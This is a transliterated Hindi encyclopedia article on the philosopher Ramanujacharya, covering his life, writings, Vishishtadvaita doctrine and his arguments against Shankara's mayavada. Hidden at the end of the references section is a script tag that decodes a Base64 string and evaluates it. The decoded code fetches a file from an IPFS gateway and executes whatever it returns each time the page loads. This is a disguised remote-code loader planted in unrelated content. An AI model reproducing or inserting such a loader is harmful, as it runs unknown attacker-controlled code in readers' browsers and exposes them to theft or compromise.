रामानुज

ramanuj
ramanujachary|200px|center
poora nam	ramanujachary
janm	1017 ee.
janm bhoomi	perumbudoor gaanv, madras (ab chennee)
mrityu	1137 ee.
mrityu sthan	shrirangam, tamilanadu
abhibhavak	pita- asoori keshav dikshit
guru	yadav prakash
karm bhoomi	bharat
karm-kshetr	dharm pravartak aur sant, darshanik
mukhy rachanaean	'shribhashy', 'vedant sangrah', 'vedant dvip', 'gita bhashy', 'vedant sar' adi.
nagarikata	bharatiy
any janakari	ramanuj ki buddhi itani kushagr thi ki ye apane guru ki vyakhya mean bhi dosh nikal diya karate the. inake dvara pratipadit siddhaant 'vishishtadvait' kahalata hai.

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ramanujachary (aangrezi: Ramanujacharya) vedant darshan parampara mean vishishtadvait ke pravartak haian. upanishad, bhagavadagita evan brahmasootr ke shri shankarachary ki advaitaparak vyakhya ke pratipad ke roop mean ramanuj ne vishishtadvait ka pratipadan kiya hai. inake samay mean jain aur bauddh dharmoan ke prachar ke karan vaishnav dharm sankat grast tha. ramanuj ne is sankat ka saphalatapoorvak pratikar kiya. sath hi inhoanne shankar ke advait mat ka khandan kiya aur apane mat ke pravartan ke lie anek granthoan ki rachana ki.

jivan parichay

vaishnav mat ki pun: pratishtha karane valoan mean ramanuj ya ramanujachary ka mahattvapoorn sthan hai. inaka janm 1017 ee. mean madras ke samip perubudoor gaanv mean hua tha. shriramanujachary ke pita ka nam keshav bhatt tha. jab shriramanujachary ki avastha bahut chhoti thi, tabhi inake pita ka dehavasan ho gaya. inhoanne kaanchi mean yadav prakash namak guru se vedadhyayan kiya. inaki buddhi itani kushagr thi ki ye apane guru ki vyakhya mean bhi dosh nikal diya karate the. phalat: inake guru ne in par prasann hone ke badale eershyalu hokar inaki hatya ki yojana bana dali, kintu bhagavan ki kripa se ek vyadh aur usaki patni ne inake pranoan ki raksha ki. inhoanne kaanchipuram jakar vedaant ki shiksha li. ramanuj ke guru ne bahut manoyog se shishy ko shiksha di. vedaant ka inaka jnan tho de samay mean hi itana badh gaya ki inake guru yadav prakash ke lie inake tarkoan ka uttar dena kathin ho gaya. ramanuj ki vidvatta ki khyati nirantar badhati gee. vaivahik jivan se oob kar ye sannyasi ho ge. ab inaka poora samay adhyayan, chiantan aur bhagavat-bhakti mean bitane laga. inaki shishy-mandali bhi badhane lagi. yahaan tak ki inake pahale ke guru yadav prakash bhi inake shishy ban ge. ramanuj dvara pratipadit siddhaant 'vishishtadvait' kahalata hai.

shriramanuchary grihasth the, kintu jab inhoanne dekha ki grihasthi mean rahakar apane uddeshy ko poora karana kathin hai, tab inhoanne grihasth ashram ko tyag diya aur shrirangam jakar yatiraj namak sannyasi se sannyas dharm ki diksha le li. inake guru yadav prakash ko apani poorv karani par b da pashchattap hua aur ve bhi sannyas ki diksha lekar shrirangam chale aye aur shriramanujachary ki seva mean rahane lage. age chalakar apane goshthipoorn se diksha li. guru ka nirdesh tha ki ramanuj unaka bataya hua mantr kisi any ko n bataean. kiantu jab ramanuj ko jnat hua ki mantr ke sunane se logoan ko mukti mil jati hai to ve mandir ki chhat par chadhakar saik doan nar-nariyoan ke samane chilla-chillakar us mantr ka uchcharan karane lage. yah dekhakar kruddh guru ne inhean narak jane ka shap diya. is par ramanuj ne uttar diya- yadi mantr sunakar hazaroan nar-nariyoan ki mukti ho jae to mujhe narak jana bhi svikar hai.

charitr

shriramanujachary b de hi vidvan, sadachari, dhairyavan aur udar the. charitrabal aur bhakti mean to ye advitiy the. inhean yog siddhiyaan bhi prapt thian. ye shriyamunachary ki shishy-parampara mean the. jab shriyamunachary ki mrityu sannikat thi, tab unhoanne apane shishy ke dvara shriramanujachary ko apane pas bulavaya, kintu inake pahuanchane ke poorv hi shriyamunachary ki mrityu ho gayi. vahaan pahuanchane par inhoanne dekha ki shriyamunachary ki tin aanguliyaan mu di huee thian. shriramanujachary ko samajh liya ki shriyamunachary inake madhyam se 'brahmasootr', 'vishnusahastranam' aur alavandaroan ke 'divy prabandhamh' ki tika karavana chahate haian. inhoanne shriyamunachary ke mrit sharir ko pranam kiya aur kaha- 'bhagavanh! maian apaki is antim ichchha ko avashy poori karooanga.'

ramanuj ke dvara chalaye gaye sampraday ka nam bhi shrisampraday hai. is sampraday ki adyapravarti ka shrimahalakshmi ji mani jati haian. shriramanujachary ne desh bhar mean bhraman karake lakhoan nar-nariyoan ko bhaktimarg mean pravritt kiya. inake chauhattar shishy the. inhoanne mahatma pillaloka chary ko apana uttaradhikari banakar ek sau bis varsh ki avastha mean is sansar se prayan kiya. inake siddhant ke anusar bhagavan vishnu hi purushottam haian. ve hi pratyek sharir mean sakshi roop se vidyaman haian. bhagavan narayan hi sat haian, unaki shakti maha lakshmi chit haian aur yah jagat unake anand ka vilas hai. bhagavan shrilakshminarayan is jagat ke mata-pita haian aur sabhi jiv unaki santan haian.

ramanuj ki rachanaean

ramanuj ne shrirangamh namak sthan par rahakar bhi shastroan ka adhyayan kiya aur vahaan par apane jivan ke paravarti varsh bitakar granthoan ki rachana ki. shriramanujachary ne bhaktimarg ka prachar karane ke liye sampoorn bharat ki yatra ki. inhoanne bhaktimarg ke samarth mean gita aur brahmasootr par bhashy likha. vedant sootroan par inaka bhashy shribhashy ke nam se prasiddh hai.

ramanuj-virachit sarvapratham granth 'vedant sangrah' hai, jisamean unhoanne un shranti vakyoan ki rachana ki hai, jo advaitavadiyoan ke anusar abhed ki sthapana karate haian. isake bad unhoanne apane pramukh granth 'shribhashy' ki rachana ki jo brahmasootr par bhashy hai. tatpashchath unhoanne brahmasootr par 'vedant dvip' aur 'vedant sar' namak do chhoti tikaean likhi, jo 'shribhashy' par adharit haian. ant mean unhoanne 'gita bhashy' ki rachana ki. unhoanne prasthanatrayi mean se upanishadoan par koee svatantr tikaean nahian likhi, parantu pramukh aupaniveshik vakyoan ki vedarth sangrah mean vyakhya ki hai. in granthoan ke alava do any granth- 'gadyatrayam' aur 'nity granth' ramanuj ke nam se sambaddh haian, parantu inaki pramanikata sandigdh hai. ve darshanik n hokar bhaktiparak rachanaean haian.

ramanuj ki samast rachanaoan mean unake paandity ka utkrisht pradarshan milata hai. ye unake praudh mastishk ki upaj tatha sookshm chintan, gahan adhyayan evan pragadh anubhav ke praman haian. inamean mukhyat: unhoanne pahale advaitavad ke in adharabhoot siddhaantoan ka khandan kiya ki brahm nirvishesh chinmatr hai, ekmev satta hai aur nanatvamay jagath mithya hai. isake uparant unhoanne b de vidvattapoorn dhang se apane darshanik paksh ka niroopan kiya hai aur sath hi yah bhi bataya hai ki kis tarah vah shruti-sammat hai.

shankarachary aur ramanuj

shankar ke nirvisheshadvait ki is tatvik sthapana ka mool adhar yah manyata hai ki sath aur chith (sanvith) mean poorn tadatmy hai aur moolat: chith nirvishesh hai. parantu ramanuj ka kahana hai ki chith ka nirvisheshatv kisi bhi praman ke dvara siddh nahian kiya ja sakata hai, kyoanki sabhi praman anubhooti par adharit hote haian aur anubhooti sadaiv savishesh hoti hai. nirvisheshadvait ke pravartak bhi chith mean 'svayan prakashata' adi ke visheshanoan ko svikar karate haian. ve ye tark nahian kar sakate ki ye visheshan moolat: chith hi haian, kyoanki inamean maulik bhed haian. chith ka sath se tadatmy manana bhi apramanik hai. chith anivaryat: jnata aur jney ko apane se prithakh manakar chalata hai. yadi chith evan jney mean poorn tadatmy hota to samast jnan nirarthak evan punaravritti matr hota. yah sahi hai ki jnan sanbandh do poornat: prithakh padoan mean sthapit nahian ho sakata, par do tadatmyukt padoan mean aise sanbandhoan ki charcha karana bhi nirarthak hai. yadyapi pratyek abhikathan abhed ka niroopak hai, tathapi yah vishuddh tadatmy n hokar bhinnatv se anusyut hai. jnan satta ka visheshan hai aur usase abhed evan bhed donoan ke samanvit roop se sanbandhit hai. ramanuj ne is manyata ko suvyavasthit evan prabhavakak roop se pratipadit kiya ki samast jnan savishesh hote haian. avishishtagrahi jnan hota hi nahian. jnan ki hi tarah jney satta bhi nirvishesh ekatv nahian balki aisa ekatv hai, jisamean nanatv ke aansh visheshan roop se aantarnihit haian. jnan ke samast upakaran pratyaksh, anumanadi savishesh ekatv, ya vishishtadvait ka hi bodh karate haian. pratyaksh chahe vah nirvikalpak ho ya savikalpak sanmatragrahi nahian hota, balki unhian vishayoan ko grahan karata hai, jo savishesh haian. nirvikalp pratyaksh anishchit evan aspasht hota hai, par nirvishesh nahian. anumit jnan ki savisheshata to suspasht hai hi. shruti bhi nirvisheshatv ka pratipadan nahian karati hai. jin shruti vakyoan se charam tatv se gunoan ka nishedh hua hai, ve yatharth mean hey gunoan ka hi nishedh karate haian. samast gunoan ka nahian. is tarah ramanuj ne jnan evan satta ke kshetr mean ekatv evan nanatv mean samanvay sthapit kar vedant mean nee manyataean sthapit ki haian. ramanuj shankar ki hi tarah advaitavadi haian, parantu jagath ke nana j d-chetan tatvoan ko mayik mane bina usi udvay tatv brahm ke aansh manate haian. samast nanatvamay parinami jagath brahm mean hi samavisht hai. brahm chith aur achith donoan se vishisht hai aur usaki advaitavastha savishisht hai. vah ek aisa vishisht hai, jo sanshlisht svaroop mean ekatv aur nanatv ko samavisht karata hai. is tarah jahaan shankar ke kevaladvait mean paramarthik drishti se brahm ke atirikt sab kuchh ka nishedh kiya gaya hai. vahaan ramanuj ke vishishtadvait mean brahm mean hi sab kuchh ko svikar kiya gaya hai. ve shankar ki hi tarah is bat par zor dete haian ki brahm ke atirikt any koee tatv nahian hai, par unaka 'any' se tatpary keval vijatiy evan sajitiy bhed hai, svagat nahian hai. ramanuj ke dvara many ek ekanekaroop is charam tatv ki tulana ek aise sajiv deh se ki ja sakati hai, jo bhedavihin vishuddh ekatv n hokar ek aisa ekatv hai, jisamean nanatv nihit hai aur jo nanatv mean hi apani abhivyakti karata hai. is darshanik sthiti ki sabase b di visheshata yah hai ki isamean jiv ke prithakh vyaktitv aur jagath ki satyata ko poornat: svikar kiya gaya hai tatha sarvavyapi charamatatv mean usaki poornata ko hani pahuanchae bina unako samuchit sthan evan mooly pradan kiya gaya hai.

dehatm bhav

yadi brahm ek vishisht hai, jisamean jiv aur jagath visheshan roop se sthit haian to prashn yah upasthit hota hai ki inaka parasparik sanbandh kis prakar ka hai. isaki vyakhya ke lie ramanuj dehatm bhav ki sahayata lete haian. brahm atma ya kendribhoot tatv hai. jiv aur jagath brahm ke deh haian. brahm, jiv aur jagath tinoan saty haian, bhinn haian, parantu keval brahm svadhin hai tatha jiv aur jagath brahmadhin evan brahm niyantrit haian. jiv aur jagath kis arth mean brahm ke deh haian, yah spasht karane ke lie ramanuj deh ki nimnalikhit paribhasha dete haian-

'deh vah dravy hai, jise ek chetan atma apane prayojan hetu dharan karati hai, niyantrit karati hai, kary mean pravritt karati hai aur jo poornataya us atma ke adhinasth rahati hai.'

is drishti se samast jiv-jagath brahm ke deh haian, kyoanki ve brahm par adharit, brahm ke dvara niyantrit evan brahm ke adhinasth rahate haian. brahm aur jiv-jagath ke is vishisht sanbandh ko ramanuj aprithaksiddh ke nam se pukarate haian, jisamean poorn tadatmy aur poorn bhed donoan ka nishedh kiya gaya hai. isamean sanbandhiyoan ke tadatmy par zor to diya hi gaya hai, par yah tadatmy sanbandh aur phalat: kisi ek sanbandhi ko hi samapt n kar de, is drishti se bhed par bhi bal dekar sanbandh ke astitv ki raksha ki gee hai.

samanadhikarany ke siddhaant

samanadhikarany ke adhar par hi ramanuj upanishadoan ke 'tatvamasi' adi mahavakyoan ki vyakhya karate haian. isamean 'tvan' shabd, jo sadharanat: jiv ke lie ata hai, vastut: brahm ka bodhak hai, jo jiv mean aantaryami roop se sthit hai aur jisaka jiv aansh roop hai. 'tath' shabd bhi brahm ka hi dyotak hai, parantu yah usake us paksh ka hi dyotak hai, jo jagath ka karan roop hai. is tarah is mahavaky mean brahm ke do prithakh pakshoan ki ekata ka niroopan hai. isaka phalitarth yah hai ki yadyapi jiv jagat vastavik evan bhinn hai, tathapi jis brahm mean aantarbhoot haian, vah ek hi haian.

ekatv aur nanatv

ramanuj se poorv shankar ne ekatv evan nanatv ko paraspar viruddh svabhav vale manakar vishuddh chaitany ke ekatv ko hi charam tatv ke roop mean svikar kiya tha aur parasparik drishti se jagath ke nanatv ko mithya ghoshit kar diya tha. ramanuj ne shankar dvara pratipadit nirvishaishadvait ke in adharabhoot siddhaantoan ka sabal prativad kar ki charam tatv nirvishesh chinmatr hai tatha nanatvamay jagath mayajanit evan mithya hai, vedant ki sagunavadi dhara ko tarkik adhar par pusht karane ka prayas kiya hai.

ek charam tatv kis tarah nanatvamay jagath se aprithakh roopen sanbandhit hota hai aur kis tarah vah anek binduoan mean vyakt hote hue bhi ekatv ko banaye rakh sakata hai, is manyata ka samadhan ramanuj vyakaran mean prayukt samanadhikarany ke siddhaant ki sahayata se karate haian. unhoanne advait ke ekatv mean hi anusyut bhed ka sajiv tatv svikar kiya, jisamean nanatv ko ekatv ka virodhi nahian balki visheshan mana gaya. jis tarah ek vaky mean bhinnarthak shabdoan ka samuchchay ekikrit ho ekarth ka dyotak hota hai, usi tarah ekatv aur nanatv milakar ek samanvayatmak ekata mean samavisht hote haian. is siddhaant ke dvara ramanuj n keval brahm evan jiv jagath ke sanbandh ki hi vyakhya karate haian, apitu isake sath sath brahm ke savishesh svaroop tatha jiv jagath ki vastavikata ki bhi siddhi karate haian.

ramanuj dvara many is aprithaksiddh sanbandh ko aangiy ekata ki avadharana se samajha ja sakata hai, jisamean brahm pradhan tatv hai aur jiv jagath us par ashrit gaun tatv hai. ekata ki is avadharana ko 'nilakamal' is sanyukt pad ke arth-bodh se jana ja sakata hai. yahaan 'nil' gun 'kamal' dravy se bhinn hai, lekin sath hi 'nil' gun apane astitv ke lie 'kamal' par ashrit hai aur usase prithakh usaka astitv nahian hai. kamal namak padarth ko is arth mean ekatv kaha gaya hai ki usamean nilatv ka gun aantarbhoot hai. nil gun aur kamal dravy mean vastavik bhed hai. matr abhas roop nahian, par yah bhed bahy n hokar aantarik hai.

drishtikon

ramanuj charam tatv ko anant gun sampann param purush ke roop mean svikar karate haian. shankar ne brahm ya charam tatv ke nirgun parak aur sagun parak, dvividh varnan kar ek ko paramarthik drishti aur doosare ko vyavaharik drishti kahakar donoan mean vaicharik bhed kiya hai. sagun brahm ki satta aupadhik tatha jagatik prapanch tak hi simit mani gee hai. ramanuj is vargikaran ke poorn virodhi haian. unake anusar brahm ke sambandh mean ek hi drishtikon ho sakata hai aur vah hai sagunata ka. brahm mean gunoan ka bahuly unake svaroop ke nanatv ka bodh nahian karata, kyoanki prithakh hote hue bhi samast gun ek hi brahm mean astitv rakhate haian aur usaki udvayata ko hani nahian pahuanchate.

vedant darshan

jagat ki tatvik prasthiti ke bare mean vedant darshan mean mayavad evan lilavad ki do prithakh evan poornat: virodhi paramparaean rahi haian. in donoan paramparaoan mean maulik bhed satta ke prati drishtikon mean hai. donoan yah manate haian ki srishti prakriya ka mool srijan ki chah hai aur us chah ko charamatatv (brahm) par aropit evan mithya mana gaya hai, jabaki lilavad mean use brahm ki svabhavik shakti evan vastavik mana gaya hai. donoan ke anusar jagath brahm ki hi abhivyakti hai, par ek mean vah abhas matr hai, jabaki doosare mean vastavik. ramanuj mayavad ka prabal prativad kar lilavad ka samarthan karate hue jagath ke prati vastavalakshi drishtikon apanate haian. ve jagath ko utana hi vastavik manate haian, jitana ki brahm hai. brahm jagat ki srishti ka nimitt evan upadan karan hai. kintu is prakriya mean brahm nirvikar rahata hai. kriya shakti usaki satta ya svaroop mean badha nahian pahuanchati. pralay ki avastha mean chith aur achith avyakt roop mean brahm mean rahate haian. brahm ko is avastha mean 'karan-brahm' kahate haian. jab srishti hoti hai, tab brahm mean chith evan achith vyakt roop mean prakat hote haian. is avastha ko kary brahm kahate haian. brahm apani donoan vishisht avasthaoan mean advait roop hai. keval bhed yah hai ki pahale mean advait ekavidh hai to doosare mean anekavidh ho jata hai. donoan avasthaean saman roop se saty haian. abhed-shrutiyaan karan-brahm ki bodhak haian aur aur bhed-shrutiyaan kary-brahm ki.

mayavad ka khandan

advait vedaant mean satta ke prati jo drishtikon apanaya gaya hai, usamean yah prashn upasthit hota hai ki yadi brahm ekamev satta hai to vaividhyamay jagat ki, jisaka ham anubhav karate haian, kaise vyakhya ki jaye. isaka uttar maya ke siddhaant ko prastut kar avashy diya gaya, parantu maya apane ap mean anirvachaniy hai, jo vastavik samadhan ki apeksha vaicharik rahasy ya paheli si lagati hai. yah ekatv aur nanatv ke virodh ko door karane ke lie prastut ki gee hai. parantu svayan isamean sath aur asath ke nishedh ka atmavirodh hai. ramanuj satta ke prati sajiv drishtikon rakhate haian. at: unake lie ekatv aur nanatv ke samanvay ka prashn hi nahian uthata. ve in donoan ko vibhakt n manakar matr prithakh ya ek hi tatv ke do paksh manate haian. unake matanusar ekamev satta apane savishesh svaroop mean jagat ke nana charachar tatvoan ka aang ke roop mean samavesh kar leti haian. tarkik drishti se yah avashyak bhi hai ki yadi brahm mean abhivyakti ko svikar kar liya jaye, chahe vah abhivyakti aropit ho ya vastavik, to un nana roopoan ko bhi brahm mean svikar karana p dega, jinamean brahm ki abhivyakti huee hai. advaitavadi is abhivyakt nanatv ko mithya ghoshit karate haian aur mayavad ka pravartan karate haian, jo ramanuj ko poornat: shruti, yukti evan anubhav ke sakshy ke viparit lagata hai. at: ve sat tarkoan ko prastut kar mayavad ka khandan karane ka prayas karate haian, jo nimnalikhit haian-

ashrayanupapatti

ramanuj yah prashn upasthit karate haian ki jis avidya se sansar ki utpatti hoti hai, usaka adhar kya hai. yadi yah kaha jaye ki vah jivashrit hai, to yah shanka hoti hai ki jab jiv svayan avidya ka kary hai to phir jo karan hai, vah kary par kaise nirbhar rah sakata hai. yadi yah kaha jaye ki avidya brahmashrit hai, to phir brahm ko vishuddh chaitany kaise kah sakate haian. aur n avidya ko ek prithakh svashrayi tatv hi mana ja sakata hai, kyoanki isase advait ke siddhaant ki hani hoti hai.

tirodhananupapatti

advait ke anusar avidya brahm ko achchhadit kar adhyaropan dvara jagat ko abhivyakt karati hai. parantu brahm, jo prakash hai, adhyarop ka adhishthan ya vishay kaise ho sakata hai. yadi phir bhi use aisa mana gaya to isase brahm ke svaprakashatv ki hani hogi.

svaroopanupapatti

yadi ham avidya ki satta aur usamean adhyarop ki kshamata svikar karean bhi, to yah prashn upasthit hota hai ki usaka svaroop kya hai. usake svaroop ko n to sath mana ja sakata hai aur n hi asath. advaitavadi use sath manate hi nahian. par use asath bhi nahian mana ja sakata, kyoanki tab yah prashn hoga ki kya vah sath (drishi) roop mean asath hai ya chith (drishta) roop mean asath hai. vah sath roop mean asath nahian ho sakati, kyoanki brahm hi sath hai aur vah nity hai. yadi use chith roop mean asath mana jaye to sath chith (brahm) ke alava asath chith ki kalpana karani hogi. isake alava is prasthapana mean anavastha dosh hoga, kyoanki yadi asath jagat ke karan ke roop mean avidya ko mana jae aur avidya svayan bhi asath ho to isake bhi karan ke roop mean kisi any sath tatv ko manana p dega. yadi is dosh ke nivaran hetu yah mana jae ki sath chith jo svayan brahm hai, avidya hai to isaka arth yah hoga ki brahm svayan hi karan hai. aisi sthiti mean brahmetar kisi tatv ko manana avashyak hoga. phir brahm shashvat hone se usaka karyaroop jagat bhi shashvat hoga. at: avidya ko brahm se prithakh tatha sath mane bina jagat ki vyakhya nahian ho sakati.

anirvachaniyanupapatti

avidya ko n to sath aur n hi asath manate hue advait vedanti use anirvachaniy kahate haian. isake svaroop ko ve bhavaroop ajnan manate haian. parantu aisa kahane ka kuchh arth nahian nikalata. ajnan ka arth jnan ka abhav hai. tab phir vah bhavaroop kaise mana ja sakata hai. avidya ka jnan n to pratyaksh aur n anuman hota hai. koee bhi anubhav bhramak nahian hota hai. bhram mean bhi ardhajnan hi hota hai. use ajnan nahian kaha ja sakata. is tarah n to siddhaantat: aur n vyavahar se avidya ki siddhi hoti hai.

pramananupapatti

avidya ki siddhi ke lie shastroan mean bhi koee praman nahian hai. prakriti ko 'maya' kahakar upanishadoan ne ullekh kiya hai, parantu vahaan maya ka tatpary ajnan nahian balki brahm ki vishisht shakti hai.

nivartakanupapatti

avidya ka koee nivartak nahian ho sakata, kyoanki advaitavadiyoan ke anusar nirvishesh jnan hi avidya ka nivaran kar sakata hai aur aisa jnan kadapi sanbhav nahian, kyoanki sabhi jnan anivaryat: savishesh hote haian.

nivartyapapatti

avidya ka nivaran bhi sanbhav nahian hai, kyoanki vah bhav roop hai aur bhav roop satta ka kabhi vinash nahian hota. is tarah mayavad ka khandan kar ramanuj yah pratipadit karate haian ki srishti vastavik hai. jagat ke padarth parinami haian, nashvar haian. par is adhar par unhean mithya nahian mana ja sakata.

ramanuj ke darshanik vichar

ramanuj ke anusar samast bhautik padarth achith ya prakriti ke hi parinam haian. yah manyata saankhy darshan mean bhi hai. parantu usase ramanuj ka yah matabhed hai ki ye prakriti ko brahm ka aansh evan brahm dvara parichalit manate haian. brahm ki ichchha (vimarsh) se prakriti tej, jal evan prithvi mean vibhakt hoti hai, jo kramash: saty, rajash evan tamash roop haian. inhian tin tatvoan ke nana prakar ke sammishran se jagat ke sthool padarthoan ki utpatti hoti hai. yah sammishran kriya trivritakaran kahalati hai.

brahm

yadi brahm ko jagat ka karan mana jae to yah prashn uthata hai ki poorn evan nirvikari brahm is apoorn evan vikarashil jagat ko kyoan utpann karata hai. isi tarah chith evan achith brahm ke vastavik aansh hai to kya unake dosh evan vikar aanshi brahm mean dosh evan vikar utpann nahian karate. is visham sthiti se bachane ke lie ramanuj dehatm sanbandh ko adhik spasht karate haian. jis tarah yatharth mean sharirik vikaroan se atma prabhavit nahian hoti. usi tarah deh roopi jagat ke vikaroan se brahm prabhavit nahian hota hai. parantu yah vicharaniy hai ki kya is tarah ki vyakhya santoshajanak hai. ramanuj jagat aur brahm ke sanbandh ko dravy-gun bhav ke adhar par bhi samajhane ka prayas karate haian. unake anusar dravy sadaiv gunayukt hota hai. dravy gun sanbandh dravy aur usake gunoan se hi nahian apitu do dravyoan ke bich bhi hota hai. udaharan ke taur par kisi dandadhari vyakti ke prasang mean vyakti guni hai aur dand usaka gun hai, parantu dand apane ap mean bhi ek dravy hai, jisake apane vishisht gun haian. dravy ka gun se bhed bhi hai aur abhed bhi. bhed ke hi karan brahm ki nirvikarata evan jagat ki savikarata siddh ki ja sakati hai, kyoanki koee bhi vastu kisi dravy ka gun hoti hai to is adhar par nahian ki vah dravy ke saman svabhav vali hai, balki is adhar par ki vah dravy par poornataya adharit hoti hai. is tarah ramanuj jagat ka brahm se parthaky bhi siddh karate haian aur jagat ki brahm par nirbharata bhi pratipadit karate hai.

jiv

ramanuj ke anusar jiv brahm ka aansh hai, brahm par poornat: ashrit hai aur brahm usamean aantaryami ke roop mean sthit hai. moksh ki dasha mean jiv brahm se ekakar nahian hota balki ekaroop hota hai. arthath jiv apana prithakh astitv rakhate hue brahm ki tarah anant jnan aur anant anand se yukt ho jata hai. yah jiv ki poornata ki sthiti hai, par yah brahm ke prabhutv ka hanan nahian karati, kyoanki tab bhi vah brahm ke paryay evan aansh ke roop mean hi rahata hai.

moksh

moksh ke sadhan ke roop mean ramanuj karm, jnan evan bhakti ke samuchchay ka siddhaant prastut karate haian. ye tinoan ek doosare ke poorak evan aantarang roop se sanbandhit haian. ve bhakti ki is sadhana mean sarvadhik mahattv dete haian, par yah bhav pradhan n hokar chiantan pradhan hai, jise ve 'dhruvanusmriti' se pukarate haian. ve bhakti aur jnan ko abhinn manate haian. unake anusar sachcha jnan bhaktiroop hai aur sachchi bhakti jnanaroop.

ramanuj darshan ki sabase b di visheshata samanvayavadi drishtikon hai. eeshvaravad evan brahmavad, dharmik bhavana evan nanatv adi ki ekaangi sthapanaoan ke vyavasthit samanvay ka prayas yahaan milata hai. isake alava lilavad ka sashakt samarthan tatha mayavad ka prabal virodh kar jiv jagat ki vastavikata ki sthapana karana unake darshan ki ek any visheshata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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tika tippani aur sandarbh

bhatt, d aau. es.ar. vishv ke pramukh darshanik (hindi). bharatadiskavari pustakalay: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 465.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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